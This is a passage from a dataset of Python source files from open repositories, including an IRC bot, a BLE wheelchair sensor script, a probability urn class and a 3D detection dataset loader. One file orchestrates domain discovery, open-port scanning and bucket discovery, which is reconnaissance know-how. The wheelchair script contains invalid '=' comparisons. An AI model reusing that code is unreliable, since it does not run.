self.running = False\n logging.info( \"ERROR: could not open RFID reader %s\", e.msg )\n\nif __name__ == \"__main__\" :\n logging.root.setLevel( logging.INFO )\n rfid_reader = RfidReader()\n rfid_reader.start( print_callback )\n rfid_reader.join()\n", "source": "spriesterjahn/annibox", "license": "MIT"}
+{"text": "import sys, asyncio, os\nfrom catalog import searchDomains, findOpenPorts, kafkaProducer, festin, filterRepeated, S3Store, S3Write\nfrom aux import consumer, producer\n\nasync def dispatcher(p, kafkaQ, S3Q):\n if p[\"port\"] == \"80\":\n await kafkaQ.put(p)\n else:\n await S3Q.put(p)\n\nasync def main():\n tasks = []\n \n foundDomains = asyncio.Queue()\n filteredDomains = asyncio.Queue()\n portsQueue = asyncio.Queue()\n kafkaQueue = asyncio.Queue()\n S3Queue = asyncio.Queue()\n\n tasks.append(asyncio.create_task(producer(searchDomains, sys.argv[1], foundDomains)))\n tasks.append(asyncio.create_task(producer(festin, sys.argv[1], os.environ[\"DNS_SERVER\"], True, foundDomains)))\n\n tasks.append(asyncio.create_task(consumer(foundDomains, findOpenPorts, 2, \"80,443\", filteredDomains)))\n tasks.append(asyncio.create_task(consumer(filteredDomains, filterRepeated, 3, portsQueue)))\n tasks.append(asyncio.create_task(consumer(portsQueue, dispatcher, 4, kafkaQueue, S3Queue)))\n\n tasks.append(asyncio.create_task(consumer(kafkaQueue, kafkaProducer, 5, os.environ[\"KAFKA_SERVER\"], \"domainsTopic\")))\n tasks.append(asyncio.create_task(consumer(S3Queue, S3Store, 6)))\n \n await asyncio.gather(*tasks)\n await S3Write(os.environ[\"BUCKET_URI\"])\n\nasyncio.run(main())\n", "source": "BBVA/MIST", "license": "Apache-2.0"}
+{"text": "#!/usr/bin/env python3\n\n# In this example, we connect to a GATT service 'rotation' on the wheel, sending\n# the rotation count over time. When we reach the recommended number of rotation,\n# we send a command to the Arduino to turn on the vibration motors.\n\n# Import required library\nimport pygatt # To access BLE GATT support\nimport signal # To catch the Ctrl+C and end the program properly\nimport os # To access environment variables\nfrom dotenv import load_dotenv # To load environment variables from .env file\nimport serial\nimport time\n\n# DCD Hub\nfrom dcd.entities.thing import Thing\nfrom dcd.entities.property import PropertyType\n\n# The thing ID and access token\nload_dotenv()\nTHING_ID = os.environ['THING_ID']\nTHING_TOKEN = os.environ['THING_TOKEN']\nBLUETOOTH_DEVICE_MAC = os.environ['BLUETOOTH_DEVICE_MAC']\n\n# UUID of the GATT characteristic to subscribe\nGATT_CHARACTERISTIC_ROTATION = \"02118733-4455-6677-8899-AABBCCDDEEFF\"\n# Many devices, e.g. Fitbit, use random addressing, this is required to connect.\nADDRESS_TYPE = pygatt.BLEAddressType.random\n\n# Recommended number of rotation\n#ROTVAL = 1\n# Did we already vib\n#vib = False\n\n# Start reading the serial port\nser = serial.Serial(\n port = os.environ['SERIAL'],\n baudrate = 9600,\n timeout = 2)\n\n\ndef find_or_create(property_name, property):\n \"\"\"Search a property by name, create it if not found, then return it.\"\"\"\n if my_thing.find_property_by_name(property_name) is None:\n my_thing.create_property(name=property_name,\n property=property)\n return my_thing.find_property_by_name(property_name)\n\n\ndef handle_rotation_data(handle, value_bytes):\n \"\"\"\n handle -- integer, characteristic read handle the data was received on\n value_bytes -- bytearray, the data returned in the notification\n \"\"\"\n print(\"Received data: %s (handle %d)\" % (str(value_bytes), handle))\n #rotation_values = [0, 0]\n rotation_values = [float(x) for x in value_bytes.decode('utf-8').split(\",\")]\n find_or_create(\"Left Wheel Rotation\",\n PropertyType.TWO_DIMENSIONS).update_values(rotation_values)\n\n print(rotation_values[0])\n print(rotation_values[1])\n\n rotation_values[0],[1]\n\n #ROTVAL_1 = 0\n #ROTVAL_0 = 0\n\n ROTVAL_0 = rotation_values[0]\n print(ROTVAL_0)\n if ((rotation_values[0] - 1) = ROTVAL_0 ):\n print(\"ROTVAL_0\")\n print (ROTVAL_0)\n ser.write('1'.encode())\n #ROTVAL_0 = rotation_values[0]\n time.sleep(2)\n\n ROTVAL_1 = rotation_values[1]\n if ((rotation_values[1] - 1) = ROTVAL_1 ):\n print(\"ROTVAL_1\")\n print (ROTVAL_1)\n ser.write('1'.encode())\n #ROTVAL_1 = rotation_values[1]\n time.sleep(2)\n\n #((rotation_values[1] or rotation_values[0]) % ROTVAL == 0) and not vib:\n # ser.write('1'.encode())\n # time.sleep(2)\n # ser.write('0'.encode())\n# global vib\n# print(\"not vib yet %s\" % str(vib))\n# vib = True\n# print(\"after nudge %s\" % str(vib))\n\n\ndef keyboard_interrupt_handler(signal_num):\n \"\"\"Make sure we close our program properly\"\"\"\n print(\"Exiting...\".format(signal_num))\n left_wheel.unsubscribe(GATT_CHARACTERISTIC_ROTATION)\n exit(0)\n\n\n# Instantiate a thing with its credential, then read its properties from the DCD Hub\nmy_thing = Thing(thing_id=THING_ID, token=THING_TOKEN)\nmy_thing.read()\n\n# Start a BLE adapter\nbleAdapter = pygatt.GATTToolBackend()\nbleAdapter.start()\n\n# Use the BLE adapter to connect to our device\nleft_wheel = bleAdapter.connect(BLUETOOTH_DEVICE_MAC, address_type=ADDRESS_TYPE)\n\n# Subscribe to the GATT services\nleft_wheel.subscribe(GATT_CHARACTERISTIC_ROTATION, callback=handle_rotation_data)\n\n# Register our Keyboard handler to exit\nsignal.signal(signal.SIGINT, keyboard_interrupt_handler)\n", "source": "ctsai-1/wheelchair-design-platform", "license": "MIT"}
+{"text": "\ufeff#!/usr/bin/python\n# -*- coding: utf-8 -*-\n\n\n\n# \n# Urne - Klasse von zufall \n# \n \n#\n# This file is part of zufall\n#\n#\n# Copyright (c) 2019 Holger B\u00f6ttcher hbomat@posteo.de\n#\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\")\n# you may not use this file except in compliance with the License\n# You may obtain a copy of the License at\n# \n# http://www.apache.org/licenses/LICENSE-2.0\n# \n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n# \n\n\n\nfrom sympy.core.numbers import Integer\nfrom sympy.core.symbol import Symbol\nfrom sympy import sympify, sqrt, nsimplify\nfrom sympy.functions.combinatorial.factorials import binomial as B\n\nfrom zufall.lib.objekte.zufalls_experiment import ZufallsExperiment \nfrom zufall.lib.funktionen.funktionen import anzahl_treffer\n\t\nfrom zufall.lib.objekte.ausnahmen import ZufallError\n\nimport zufall\n\n\n\n# Urne - Klasse \n# -------------\n\t\nclass Urne(ZufallsExperiment): \n \"\"\"\n\t\nUrne\n\t\n**Erzeugung** \n\n Urne( *liste | dict /[, stufen]* ) \n\t\n *dict* : *{ obj1:zahl1, obj2:zahl2, ...}*\n\t \n *liste* : \n\t \n | *[ (obj, zahl1), (obj2, zahl2), ...]* \n\t\t\n *oder*\n\t\t \n | *[ [obj1, zahl1], [obj2, zahl12, ...]* \n\t\t\n *oder*\n\t\t \n | *[ obj1, obj2, ...]* = *[ [obj1, 1], [obj2, 1], ...]*\n\t\t \n | (*obj-zahl*-Paare als Tupel oder Liste)\n\t\t \n *obj* : Bezeichner | ganze Zahl >= 0\n\t \n *stufen* : Anzahl Stufen; Standard=1\n\t\t\t\t \n**Zusatz**\n `a=nein` - keine Beachtung der Anordnung/Reihenfolge; Standard=ja\n \n `w=nein` - keine Wiederholung von Elementen; Standard=ja\n \n `f=funktions_name` - Name einer ZG-Funktion (diese ordnet den Elementen \n der Ergebnismenge Zahlen zu)\n\t\t \nWird eine Liste mit nur zwei unterschiedlichen Objekten angegeben, wird \nbei Verwendung der Funktion ``anzahl_treffer``\n \n bei Wiederholung von Elementen ein BernoulliKette - Objekt\n \n bei Nicht-Wiederholung von Elementen ein HyperGeometrischeVerteilung -\n Objekt\n \nerzeugt\n\nBezeichner, die l\u00e4nger als ein Zeichen sind, m\u00fcssen als Zeichenkette \neingegeben oder vordeklariert werden, etwa ``Raucher = Symbol('Raucher'``)\n\n \"\"\"\n\t\n def __new__(cls, *args, **kwargs): \n\t\t\t\n if kwargs.get(\"h\") in (1, 2, 3): \n urne_hilfe(kwargs[\"h\"])\t \n return\n\t\t\t\n try:\t\t\t\n if len(args) == 1:\n args = args[0], 1\t\t\t\n if len(args) != 2:\n raise ZufallError('ein oder zwei Argumente angeben')\n if not isinstance(args[0], (list, dict)) and isinstance(args[1], (int, Integer)):\n raise ZufallError('Liste/dict und Anzahl Stufen angeben')\n if isinstance(args[0], list):\t\t\t\t\n def list_kontrolle(liste):\n if all([isinstance(x, (Symbol, str, int, Integer)) for x in liste]):\n return True\n if all([isinstance(x, (list, tuple)) and len(x) == 2 for x in liste]):\n s = all([isinstance(x[0], (Symbol, str, int, Integer)) for x in liste])\t\t\n w = all([isinstance(x[1], (int, Integer)) for x in liste])\n if s and w:\n return True\n return False\n return False\t\t\t\t\n \n def einfach(liste):\n if all([isinstance(x, list) and len(x)==2 and not isinstance(x[1], list) \\\n for x in liste]):\n return True \n if any([isinstance(x, list) for x in liste]):\n return False\t\t\t\n return True \n\t\t\t\t\n def einfacheinfach(liste):\n if all([isinstance(x, (Symbol, str, int, Integer)) for x in liste]):\n return True\n return False\n\t\t\t\t\n if not list_kontrolle(args[0]): \n raise ZufallError('Liste \u00fcberpr\u00fcfen')\n if not einfach(args[0]): \n raise ZufallError('es sind nur einfache Listen erlaubt')\n aa = args[0]\t\t\t\t\t\n if einfacheinfach(aa): \n aa = [[x, 1] for x in aa] \t\t\t\t\n try:\t\t\t\t\t\n args = dict(aa), args[1]\n except ValueError:\n print('zufall: Liste mu\u00df in dict transformierbar sein')\n return\t\t\t\t\t\n ze = ZufallsExperiment(*args, w=kwargs.get('w'), a=kwargs.get('a'))\n\t\t\t\n if ze is None:\n raise ZufallError('Argumente \u00fcberpr\u00fcfen')\n\t\t\t\t\n except ZufallError as e:\n print('zufall:', str(e))\n return\n\n return ZufallsExperiment.__new__(cls, *args, **kwargs)\t\t\t\n\t\t\t\t\t\n\t\t\t\n def __str__(self): \n txt1 = (', mit' if self.wiederh else ', ohne') + ' Wiederholung '\n txt2 = (', mit' if self.anordn else ', ohne') + ' Anordnung)'\n return \"Urne\"\t+ \"(Stufen=\" + str(self.stufen) + txt1 + txt2\n\t\t\t\t\n @property\t\t\n def hilfe(self): \n \"\"\"Bezeichner der Eigenschaften und Methoden\"\"\"\n urne_hilfe(3)\t\n\t\t\n h = hilfe\t\t\t\t\t\n\t\t\n\t\t\n# Benutzerhilfe f\u00fcr Urne\n# ----------------------\n\ndef urne_hilfe(h):\n \n if h == 1:\n print(\"h=2 - Erzeugung\")\n print(\"h=3 - Eigenschaften und Methoden\")\n return\n\t\t \n if h == 2:\n print(\"\"\" \\\n\t\t\nUrne - Objekt\n\nErzeugung Urne( liste | dict /[, stufen ] )\n\n dict { obj1:zahl1, obj2:zahl2, ...}\n liste [ [obj, zahl], [obj1, zahl1], ...] oder\n \t [ obj1, obj2, ...] = [ [obj1, 1], [obj2, 1], ...]\n obj Bezeichner | ganze Zahl >= 0\n stufen Anzahl Stufen; Standard=1 \n\t\t\t\t \nZusatz a=nein keine Beachtung der Anordnung/Reihenfolge; Standard=ja\n w=nein keine Wiederholung von Elementen; Standard=ja\n f=funktions_name Name einer ZG-Funktion (Element der Ergebnis-\n menge -> Zahl)\n\t\t \nWird eine Liste mit nur zwei unterschiedlichen Objekten angegeben, wird \nbei Verwendung der Funktion anzahl_treffer\n \n bei Wiederholung von Elementen ein BernoulliKette-Objekt\n \n bei Nicht-Wiederholung von Elementen ein HyperGeometrischeVerteilung-\n Objekt\n \nerzeugt\n\nBezeichner, die l\u00e4nger als ein Zeichen sind, m\u00fcssen als Zeichenkette ein-\ngegeben oder vordeklariert werden, etwa Raucher = Symbol('Raucher')\n\t\t\nZuweisung u = Urne(...) (u - freier Bezeichner)\n\nBeispiele\nUrne([a, b, c]) ( = Urne( {a:1, b:1, c:1} ) )\nUrne( {'rot':3, 'gr\u00fcn':4, 'blau':2 }, 2)\t\t\nUrne( {r:3, g:4, b:2 }, 4, a=nein)\t\t\nUrne( {r:3, g:4 }, 4, f=anzahl_treffer) - BernoulliKette-Objekt\t\t\nUrne( [ [r,3], [g,4] ], 4, w=nein, f=anzahl_treffer)\n - HyperGeometrischeVerteilung-Objekt\t\t\n\t \"\"\")\t\t\n return \n\t\t\n if h == 3: \n print(\"\"\" \\\n\t\t\nEigenschaften und Methoden (M) f\u00fcr Urne (ZufallsExperiment-Objekt)\n \nu.hilfe Bezeichner der Eigenschaften und Methoden\nu.anordn Beachtung der Anordnung/Reihenfolge\nu.ausfall = u.versuch\nu.baum Baumdiagramm\nu.baum_(...) M ebenso; zugeh\u00f6rige Methode\nu.n_omega Gr\u00f6\u00dfe der Ergebnismenge\nu.omega Ergebnismenge\nu.omega_(...) M ebenso; zugeh\u00f6rige Methode\nu.P(...) M Wahrscheinlichkeit eines Ereignisses\nu.relh2p(...) M Stabilisierung der relativen H\u00e4ufigkeiten\nu.stich_probe(...) M Stichprobe\nu.stufen Stufenanzahl des Experimentes\nu.versuch Versuch\nu.vert Wahrscheinlichkeitsverteilung\nu.vert_(...) M ebenso; zugeh\u00f6rige Methode\nu.wiederh Wiederholung von Elementen\nu.ziehen = u.versuch\n\nSynonyme Bezeichner\n\nhilfe h\nbaum_ Baum\nn_omega nOmega\nomega_ Omega\nstich_probe stichProbe\nvert_ Vert\n\nBei der Erzeugung eines BernoulliKette- oder HyperGeometrischeVerteilung-\nObjektes siehe entsprechende Hilfeseite\t\t\n\t \"\"\")\t\t\n return\n\t\n\t\n", "source": "HBOMAT/AglaUndZufall", "license": "Apache-2.0"}
+{"text": "import mmcv\nimport numpy as np\nimport os\nimport tempfile\nimport torch\nfrom mmcv.utils import print_log, build_from_cfg\nfrom os import path as osp\n\nfrom torch.utils.data import Dataset\nfrom mmdet.datasets import DATASETS, PIPELINES\nfrom ..core.bbox import Box3DMode, points_cam2img, get_box_type\nfrom .kitti_dataset import KittiDataset\nfrom .builder import OBJECTSAMPLERS\nfrom .pipelines import Compose\nfrom mmdet3d.ops import knn\nfrom torch_geometric.nn import knn as knn_cpu\n\n@DATASETS.register_module()\nclass WaymoGTDataset(Dataset):\n def __init__(self,\n db_sampler,\n box_type_3d='LiDAR',\n pipeline=None,\n test_mode=False,\n classes=None,\n split=None,\n gap=0.1,\n load_interval=1,\n visualize=False,\n train_interval=8,\n filter_by_points=dict(Car=30, Pedestrian=30),\n maximum_samples=dict(Car=200, Pedestrian=200),\n use_single=True,\n use_couple=True,\n points_loader=dict(\n type='LoadPointsFromFile',\n coord_type='LIDAR',\n load_dim=5,\n use_dim=[0,1,2])):\n super().__init__()\n if 'type' not in db_sampler.keys():\n db_sampler['type'] = 'DataBaseSampler'\n # self.db_sampler.sampler_dict['Car']._sampled_list\n # self.db_sampler.data_root, self.sampler\n self.box_type_3d, self.box_mode_3d = get_box_type(box_type_3d)\n self.CLASSES = classes\n self.cat2id = {name: i for i, name in enumerate(self.CLASSES)}\n if pipeline is not None:\n self.pipeline = Compose(pipeline)\n self.test_mode = test_mode\n self.gap = gap\n\n self.samples = {}\n self.indices = {}\n for cls in classes:\n self.samples[cls] = []\n self.indices[cls] = []\n for i, sample in enumerate(\n self.db_sampler.sampler_dict[cls]._sampled_list):\n if sample['num_points_in_gt'] < filter_by_points[cls]:\n continue\n self.samples[cls].append(sample)\n self.indices[cls].append(i)\n if len(self.samples[cls]) >= maximum_samples[cls]:\n break\n\n import itertools\n self.scenes = []\n # Single Object Scenes\n if use_single:\n for cls in classes:\n for i in range(len(self.samples[cls])):\n self.scenes.append({cls: i})\n\n if use_couple:\n if split == 'training':\n for cls1, cls2 in itertools.combinations(classes, 2):\n for i in range(len(self.samples[cls1])):\n for j in range(len(self.samples[cls2])):\n if (i + j) % train_interval == 0:\n self.scenes.append({cls1: i, cls2: j})\n else:\n for cls1, cls2 in itertools.combinations(classes, 2):\n for i in range(len(self.samples[cls1])):\n for j in range(len(self.samples[cls2])):\n if (i + j) % train_interval != 0:\n self.scenes.append({cls1: i, cls2: j})\n \n self.scenes = self.scenes[::load_interval]\n self.trans = {}\n\n self.points_loader = mmcv.build_from_cfg(points_loader, PIPELINES)\n \n if not self.test_mode:\n self._set_group_flag()\n if visualize:\n import polyscope as ps\n ps.init()\n for cls in classes:\n print(f'visualizing class={cls}')\n ps.remove_all_structures()\n for idx, sample in enumerate(self.samples[cls]):\n pts_filename = os.path.join(\n self.db_sampler.data_root, sample['path']\n )\n print(pts_filename)\n results = dict(pts_filename=pts_filename)\n cls_points = self.points_loader(results)['points'].tensor.cpu().numpy()\n cls_points += np.array([(idx // 15) * 5, 0, (idx % 15) * 5])\n ps.register_point_cloud(f'sample-{idx}', cls_points)\n ps.show()\n \n def __len__(self):\n return len(self.scenes)\n\n def get_data_info(self, index):\n \"\"\"Get data info according to the given index.\n\n Args:\n index (int): Index of the sample data to get.\n\n Returns:\n dict: Standard input_dict consists of the\n data information.\n\n - sample_idx (str): sample index\n - pts_filename (str): filename of point clouds\n - img_prefix (str | None): prefix of image files\n - img_info (dict): image info\n - lidar2img (list[np.ndarray], optional): transformations from\n lidar to different cameras\n - ann_info (dict): annotation info\n \"\"\"\n scene = self.scenes[index]\n points, gt_labels = None, None\n for cls in self.CLASSES:\n idx = scene.get(cls, None)\n if idx is not None:\n sample = self.samples[cls][idx]\n pts_filename = os.path.join(\n self.db_sampler.data_root, sample['path']\n )\n results = dict(pts_filename=pts_filename)\n cls_points = self.points_loader(results)['points']\n cls_gt_labels = torch.zeros(cls_points.shape[0]).long()+self.cat2id[cls]\n if points is None:\n points = cls_points\n gt_labels = cls_gt_labels\n else:\n max0, min0 = points.tensor.max(0)[0], points.tensor.min(0)[0]\n #print(max0.shape, min0.shape, max0, min0)\n max1, min1 = cls_points.tensor.max(0)[0], cls_points.tensor.min(0)[0]\n dim, sign = np.random.randint(3), np.random.randint(2)\n trans = self.trans.get((index, cls, dim, sign), None)\n if trans is None:\n trans = torch.zeros(3)\n if sign == 0:\n trans[dim] = -(max1[dim] + self.gap - min0[dim])\n else:\n trans[dim] = -(min1[dim] - self.gap - max0[dim])\n cls_points.tensor += trans\n _, indices = knn_cpu(points.tensor, cls_points.tensor, k=1)\n min_dist = (cls_points.tensor - points.tensor[indices]).norm(p=2, dim=-1)\n idx = min_dist.argmin()\n dr = points.tensor[indices[idx]] - cls_points.tensor[idx]\n unit_dr = dr / dr.norm(p=2, dim=-1)\n trans_i = unit_dr * (min_dist.min() - self.gap)\n trans += trans_i\n cls_points.translate(trans_i)\n self.trans[(index, cls, dim, sign)] = trans\n else:\n cls_points.translate(trans)\n points = points.cat([points, cls_points])\n gt_labels = torch.cat([gt_labels, cls_gt_labels], dim=0)\n\n points.translate(-points.tensor.mean(0)[:3])\n input_dict = dict(\n points = points,\n gt_labels = gt_labels)\n\n return input_dict\n \n def prepare_train_data(self, index):\n \"\"\"Training data preparation.\n\n Args:\n index (int): Index for accessing the target data.\n\n Returns:\n dict: Training data dict of the corresponding index.\n \"\"\"\n input_dict = self.get_data_info(index)\n #if input_dict is None:\n # return None\n #self.pre_pipeline(input_dict)\n example = self.pipeline(input_dict)\n #if self.filter_empty_gt and \\\n # (example is None or\n # ~(example['gt_labels_3d']._data != -1).any()):\n # return None\n return example\n \n def prepare_test_data(self, index):\n \"\"\"Prepare data for testing.\n\n Args:\n index (int): Index for accessing the target data.\n\n Returns:\n dict: Testing data dict of the corresponding index.\n \"\"\"\n input_dict = self.get_data_info(index)\n example = self.pipeline(input_dict)\n\n return example\n\n def __getitem__(self, idx):\n \"\"\"Get item from infos according to the given index.\n\n Returns:\n dict: Data dictionary of the corresponding index.\n \"\"\"\n if self.test_mode:\n return self.prepare_test_data(idx)\n while True:\n data = self.prepare_train_data(idx)\n if data is None:\n idx = self._rand_another(idx)\n continue\n return data\n \n def pre_pipeline(self, results):\n \"\"\"Initialization before data preparation.\n\n Args:\n results (dict): Dict before data preprocessing.\n\n - img_fields (list): Image fields.\n - bbox3d_fields (list): 3D bounding boxes fields.\n - pts_mask_fields (list): Mask fields of points.\n - pts_seg_fields (list): Mask fields of point segments.\n - bbox_fields (list): Fields of bounding boxes.\n - mask_fields (list): Fields of masks.\n - seg_fields (list): Segment fields.\n - box_type_3d (str): 3D box type.\n - box_mode_3d (str): 3D box mode.\n \"\"\"\n results['img_fields'] = []\n results['bbox3d_fields'] = []\n results['pts_mask_fields'] = []\n results['pts_seg_fields'] = []\n results['bbox_fields'] = []\n results['mask_fields'] = []\n results['seg_fields'] = []\n results['box_type_3d'] = self.box_type_3d\n results['box_mode_3d'] = self.box_mode_3d\n \n def _set_group_flag(self):\n \"\"\"Set flag according to image aspect ratio.\n\n Images with aspect ratio greater than 1 will be set as group 1,\n otherwise group 0. In 3D datasets, they are all the same, thus are all\n zeros.\n \"\"\"\n self.flag = np.zeros(len(self), dtype=np.uint8)\n\n def evaluate(self, results, logger=None, **kwargs):\n assert len(results) == len(self.scenes)\n acc, intersect_acc, dist2set = [], [], []\n for i, res_dict in enumerate(results):\n data = self.__getitem__(i)\n points = data['points'].data\n y = data['gt_labels'].data\n pred = res_dict['pred']\n prob = res_dict['prob']\n acc.append((pred == y).float())\n\n intersect = (y == -1)\n dist = torch.zeros_like(intersect, dtype=torch.float) + 1e5\n if y.min() < y.max():\n for l1 in range(y.min(), y.max()+1):\n p0 = points[y == l1].cuda()\n p1 = points[y != l1].cuda()\n indices = knn(1, p1.unsqueeze(0), p0.unsqueeze(0))\n dists = (p1[indices[0, 0]] - p0).norm(p=2, dim=-1).cpu()\n dist[y == l1] = dists\n #mask = (dists < 0.2)\n #intersect[y == l1] = mask\n #intersect_acc.append((pred == y)[intersect].float())\n dist2set.append(dist)\n \n acc = torch.cat(acc, dim=0)\n dist = torch.cat(dist2set, dim=0)\n ranges = torch.linspace(dist.min(), 0.5, 10)\n ranges = torch.cat([ranges, torch.zeros_like(ranges[0:1]) + 1e10])\n msg = f' acc={acc.mean().item():.4f}'\n for i, r in enumerate(ranges[1:]):\n l = ranges[i]\n acc_lr = acc[(dist <= r) & (dist >= l)].mean()\n ratio = ((dist <= r) & (dist >= l)).float().mean()\n msg += f', [{l:.3f}, {r:.3f}] ({ratio:.4f})={acc_lr:.4f}'\n #intersect_acc = torch.cat(intersect_acc, dim=0)\n acc = acc.mean().item()\n #intersect_acc = intersect_acc.mean().item()\n if logger is not None:\n logger.info(msg)\n else:\n print(msg)\n\n return dict(acc=acc)\n\n def __repr__(self):\n return f'{self.__class__.__name__}: scenes={len(self.scenes)}'\n", "source": "xiangruhuang/mmdetection3d", "license": "Apache-2.0"}
+{"text": "#!/usr/bin/env python\n\nimport sys, os, re, threading, imp\nimport irc\n\nhome = os.getcwd()\n\ndef decode(bytes): \n try: text = bytes.decode('utf-8')\n except UnicodeDecodeError: \n try: text = bytes.decode('iso-8859-1')\n except UnicodeDecodeError: \n text = bytes.decode('cp1252')\n return text\n\nclass Phenny(irc.Bot): \n def __init__(self, config): \n args = (config.nick, config.name, config.channels, config.password)\n irc.Bot.__init__(self, *args)\n self.config = config\n self.doc = {}\n self.stats = {}\n self.setup()\n\n def setup(self): \n self.variables = {}\n\n filenames = []\n if not hasattr(self.config, 'enable'): \n for fn in os.listdir(os.path.join(home, 'modules')): \n if fn.endswith('.py') and not fn.startswith('_'): \n filenames.append(os.path.join(home, 'modules', fn))\n else: \n for fn in self.config.enable: \n filenames.append(os.path.join(home, 'modules', fn + '.py'))\n\n if hasattr(self.config, 'extra'): \n for fn in self.config.extra: \n if os.path.isfile(fn): \n filenames.append(fn)\n elif os.path.isdir(fn): \n for n in os.listdir(fn): \n if n.endswith('.py') and not n.startswith('_'): \n filenames.append(os.path.join(fn, n))\n\n modules = []\n excluded_modules = getattr(self.config, 'exclude', [])\n for filename in filenames: \n name = os.path.basename(filename)[:-3]\n if name in excluded_modules: continue\n # if name in sys.modules: \n # del sys.modules[name]\n try: module = imp.load_source(name, filename)\n except Exception, e: \n print >> sys.stderr, \"Error loading %s: %s (in bot.py)\" % (name, e)\n else: \n if hasattr(module, 'setup'): \n module.setup(self)\n self.register(vars(module))\n modules.append(name)\n\n if modules: \n print >> sys.stderr, 'Registered modules:', ', '.join(modules)\n else: print >> sys.stderr, \"Warning: Couldn't find any modules\"\n\n self.bind_commands()\n\n def register(self, variables): \n # This is used by reload.py, hence it being methodised\n for name, obj in variables.iteritems(): \n if hasattr(obj, 'commands') or hasattr(obj, 'rule'): \n self.variables[name] = obj\n\n def bind_commands(self): \n self.commands = {'high': {}, 'medium': {}, 'low': {}}\n \n def bind(self, priority, regexp, func): \n print priority, regexp.pattern.encode('utf-8'), func\n # register documentation\n if not hasattr(func, 'name'): \n func.name = func.__name__\n if func.__doc__: \n if hasattr(func, 'example'): \n example = func.example\n example = example.replace('$nickname', self.nick)\n else: example = None\n self.doc[func.name] = (func.__doc__, example)\n self.commands[priority].setdefault(regexp, []).append(func)\n\n def sub(pattern, self=self): \n # These replacements have significant order\n pattern = pattern.replace('$nickname', re.escape(self.nick))\n return pattern.replace('$nick', r'%s[,:] +' % re.escape(self.nick))\n\n for name, func in self.variables.iteritems(): \n # print name, func\n if not hasattr(func, 'priority'): \n func.priority = 'medium'\n\n if not hasattr(func, 'thread'): \n func.thread = True\n\n if not hasattr(func, 'event'): \n func.event = 'PRIVMSG'\n else: func.event = func.event.upper()\n\n if hasattr(func, 'rule'): \n if isinstance(func.rule, str): \n pattern = sub(func.rule)\n regexp = re.compile(pattern)\n bind(self, func.priority, regexp, func)\n\n if isinstance(func.rule, tuple): \n # 1) e.g. ('$nick', '(.*)')\n if len(func.rule) == 2 and isinstance(func.rule[0], str): \n prefix, pattern = func.rule\n prefix = sub(prefix)\n regexp = re.compile(prefix + pattern)\n bind(self, func.priority, regexp, func)\n\n # 2) e.g. (['p', 'q'], '(.*)')\n elif len(func.rule) == 2 and isinstance(func.rule[0], list): \n prefix = self.config.prefix\n commands, pattern = func.rule\n for command in commands: \n command = r'(%s)\\b(?: +(?:%s))?' % (command, pattern)\n regexp = re.compile(prefix + command)\n bind(self, func.priority, regexp, func)\n\n # 3) e.g. ('$nick', ['p', 'q'], '(.*)')\n elif len(func.rule) == 3: \n prefix, commands, pattern = func.rule\n prefix = sub(prefix)\n for command in commands: \n command = r'(%s) +' % command\n regexp = re.compile(prefix + command + pattern)\n bind(self, func.priority, regexp, func)\n\n if hasattr(func, 'commands'): \n for command in func.commands: \n template = r'^%s(%s)(?: +(.*))?$'\n pattern = template % (self.config.prefix, command)\n regexp = re.compile(pattern)\n bind(self, func.priority, regexp, func)\n\n def wrapped(self, origin, text, match): \n class PhennyWrapper(object): \n def __init__(self, phenny): \n self.bot = phenny\n\n def __getattr__(self, attr): \n sender = origin.sender or text\n if attr == 'reply': \n return (lambda msg: \n self.bot.msg(sender, origin.nick + ': ' + msg))\n elif attr == 'say': \n return lambda msg: self.bot.msg(sender, msg)\n return getattr(self.bot, attr)\n\n return PhennyWrapper(self)\n\n def input(self, origin, text, bytes, match, event, args): \n class CommandInput(unicode): \n def __new__(cls, text, origin, bytes, match, event, args): \n s = unicode.__new__(cls, text)\n s.sender = origin.sender\n s.nick = origin.nick\n s.event = event\n s.bytes = bytes\n s.match = match\n s.group = match.group\n s.groups = match.groups\n s.args = args\n s.admin = origin.nick in self.config.admins\n s.owner = origin.nick == self.config.owner\n return s\n\n return CommandInput(text, origin, bytes, match, event, args)\n\n def call(self, func, origin, phenny, input): \n try: func(phenny, input)\n except Exception, e: \n self.error(origin)\n\n def limit(self, origin, func): \n if origin.sender and origin.sender.startswith('#'): \n if hasattr(self.config, 'limit'): \n limits = self.config.limit.get(origin.sender)\n if limits and (func.__module__ not in limits): \n return True\n return False\n\n def dispatch(self, origin, args): \n bytes, event, args = args[0], args[1], args[2:]\n text = decode(bytes)\n\n for priority in ('high', 'medium', 'low'): \n items = self.commands[priority].items()\n for regexp, funcs in items: \n for func in funcs: \n if event != func.event and func.event != '*': continue\n\n match = regexp.match(text)\n if match: \n if self.limit(origin, func): continue\n\n phenny = self.wrapped(origin, text, match)\n input = self.input(origin, text, bytes, match, event, args)\n\n if func.thread: \n targs = (func, origin, phenny, input)\n t = threading.Thread(target=self.call, args=targs)\n t.start()\n else: self.call(func, origin, phenny, input)\n\n for source in [origin.sender, origin.nick]: \n try: self.stats[(func.name, source)] += 1\n except KeyError: \n self.stats[(func.name, source)] = 1\n\nif __name__ == '__main__': \n print __doc__\n", "source": "NeoMahler/rc-vikidia", "license": "MIT"}
+{"text": "#!/usr/bin/env python3\nimport sys, os, json\n# Check to make sure we are running the correct version of Python\nassert sys.version_info >= (3,7), \"This script requires at least Python 3.7\"\n\n# The game and item description files (in the same folder as this script)\ngame_file = 'game.json'\n\n\n# Load the contents of the files into the game and items dictionaries. You can largely ignore this\n# Sorry it's messy, I'm trying to account for any potential craziness with the file location\ndef load_files():\n try:\n __location__ = os.path.realpath(os.path.join(os.getcwd(), os.path.dirname(__file__)))\n with open(os.path.join(__location__, game_file)) as json_file: game = json.load(json_file)\n return game\n except:\n print(\"There was a problem reading either the game or item file.\")\n os._exit(1)\n\n\ndef render(game,current):\n c = game[current]\n print(\"Good morning Detective. The body of Alan Turner was found at 7am this morning by an office employee, and Alan's coworker, Alice Smith. Headquaters wants to label this a suicide, but me and the Police are not so sure. investigate the scene, and when you think you know the whole truth come visit the POLICE station. In the meantime don't forget to check out the ROOF, the BODY, the CORONER, the ROAD, the PARKING lot, the CAMERAS, the SUSPECTS, the A OFFICE, and the S OFFICES.\")\n print(\"You are at the \" + c[\"name\"])\n print(c[\"desc\"])\n\ndef get_input():\n response = input(\"Where do you want to go?\")\n response = response.upper().strip()\n return response\n\ndef 